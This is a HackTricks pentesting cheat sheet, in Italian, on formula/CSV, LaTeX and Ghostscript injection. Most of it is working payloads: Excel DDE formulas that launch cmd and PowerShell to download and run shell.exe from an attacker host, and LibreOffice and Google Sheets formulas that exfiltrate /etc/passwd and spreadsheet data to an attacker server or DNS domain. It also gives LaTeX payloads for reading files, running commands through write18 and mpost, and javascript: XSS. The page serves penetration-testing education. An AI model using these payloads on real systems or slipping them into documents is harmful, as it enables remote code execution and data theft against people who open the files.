hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

208 lines
12 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Formula Injection
2023-09-02 23:48:41 +00:00
### Info
2023-09-02 23:48:41 +00:00
Se il tuo **input** viene **riflesso** all'interno di **file CSV** (o qualsiasi altro file che probabilmente verrà aperto da **Excel**), potresti essere in grado di inserire **formule** di Excel che verranno **eseguite** quando l'utente **apre il file** o quando l'utente **clicca su qualche link** all'interno del foglio di calcolo di Excel.
{% hint style="danger" %}
Oggigiorno **Excel avviserà** (più volte) l'**utente quando qualcosa viene caricato da fuori Excel** per prevenire azioni dannose. Pertanto, è necessario applicare uno sforzo speciale nel Social Engineering per il payload finale.
{% endhint %}
2022-09-29 15:13:42 +00:00
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
2022-09-29 15:13:42 +00:00
**Il seguente esempio è molto utile per estrarre contenuti dal foglio Excel finale e per effettuare richieste a posizioni arbitrarie. Ma richiede che l'utente clicchi sul link (e accetti i messaggi di avviso).**
Il seguente esempio è stato preso da [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Immagina una violazione della sicurezza in un sistema di gestione dei registri degli studenti sfruttata attraverso un attacco di iniezione CSV. L'intenzione principale dell'attaccante è compromettere il sistema utilizzato dagli insegnanti per gestire i dettagli degli studenti. Il metodo prevede che l'attaccante inietti un payload malevolo nell'applicazione, specificamente inserendo formule dannose nei campi destinati ai dettagli degli studenti. L'attacco si svolge come segue:
1. **Iniezione di Payload Malevolo:**
* L'attaccante invia un modulo di dettagli dello studente ma include una formula comunemente usata nei fogli di calcolo (ad es., `=HYPERLINK("<malicious_link>","Clicca qui")`).
* Questa formula è progettata per creare un hyperlink, ma punta a un server malevolo controllato dall'attaccante.
2. **Esportazione di Dati Compromessi:**
* Gli insegnanti, ignari della compromissione, utilizzano la funzionalità dell'applicazione per esportare i dati in un file CSV.
* Il file CSV, una volta aperto, contiene ancora il payload malevolo. Questo payload appare come un hyperlink cliccabile nel foglio di calcolo.
3. **Attivazione dell'Attacco:**
* Un insegnante clicca sull'hyperlink, credendo che faccia parte legittima dei dettagli dello studente.
* Cliccando, i dati sensibili (potenzialmente inclusi dettagli dal foglio di calcolo o dal computer dell'insegnante) vengono trasmessi al server dell'attaccante.
4. **Registrazione dei Dati:**
* Il server dell'attaccante riceve e registra i dati sensibili inviati dal computer dell'insegnante.
* L'attaccante può quindi utilizzare questi dati per vari scopi malevoli, compromettendo ulteriormente la privacy e la sicurezza degli studenti e dell'istituzione.
2022-07-10 22:26:52 +00:00
### RCE
**Controlla il** [**post originale**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **per ulteriori dettagli.**
In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, le seguenti impostazioni devono essere abilitate:
* Naviga su File → Opzioni → Centro di protezione → Impostazioni del centro di protezione → Contenuto esterno, e abilita **Avvio del server Dynamic Data Exchange**.
2021-06-29 12:49:13 +00:00
Quando un foglio di calcolo con il payload malevolo viene aperto (e se l'utente accetta gli avvisi), il payload viene eseguito. Ad esempio, per avviare l'applicazione calcolatrice, il payload sarebbe:
2024-02-06 03:10:38 +00:00
```markdown
=cmd|' /C calc'!xxx
2021-06-29 12:49:13 +00:00
```
Ulteriori comandi possono essere eseguiti, come scaricare ed eseguire un file utilizzando PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
### Local File Inclusion (LFI) in LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare dati. Ecco alcuni metodi:
2021-06-29 12:49:13 +00:00
* Leggere la prima riga dal file locale `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Esfiltrare i dati letti a un server controllato dall'attaccante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Esfiltrare più di una riga: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Esfiltrazione DNS (inviare dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
2021-06-29 12:49:13 +00:00
Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione di dati OOB:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Unisce le stringhe - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importa dati da tipi di dati strutturati - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importa feed RSS o ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importa dati da tabelle o elenchi HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importa un intervallo di celle da un altro foglio di calcolo - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Inserisce un'immagine in una cella - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## LaTeX Injection
2021-06-29 12:49:13 +00:00
Di solito, i server che si trovano su Internet che **convertono codice LaTeX in PDF** utilizzano **`pdflatex`**.\
Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione di comandi:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Disabilita** il costrutto `\write18{command}`, anche se è abilitato nel file texmf.cnf.
* **`--shell-restricted`**: Stesso di `--shell-escape`, ma **limitato** a un insieme 'sicuro' di **comandi** \*\*predefiniti (\*\*Su Ubuntu 16.04 la lista si trova in `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Abilita** il costrutto `\write18{command}`. Il comando può essere qualsiasi comando della shell. Questo costrutto è normalmente disabilitato per motivi di sicurezza.
2022-07-10 22:26:52 +00:00
2024-02-10 13:03:23 +00:00
Tuttavia, ci sono altri modi per eseguire comandi, quindi per evitare RCE è molto importante utilizzare `--shell-restricted`.
2022-07-10 22:26:52 +00:00
### Read file <a href="#read-file" id="read-file"></a>
Potresti dover regolare l'iniezione con wrapper come \[ o $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### Leggi file a riga singola
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Leggi file a più righe
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-10 13:03:23 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### Scrivere file <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Esecuzione di comandi <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
L'input del comando sarà reindirizzato a stdin, usa un file temporaneo per ottenerlo.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Se ricevi un errore LaTex, considera di utilizzare base64 per ottenere il risultato senza caratteri non validi.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2024-02-10 13:03:23 +00:00
Da [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
2022-07-10 22:26:52 +00:00
**Controlla** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}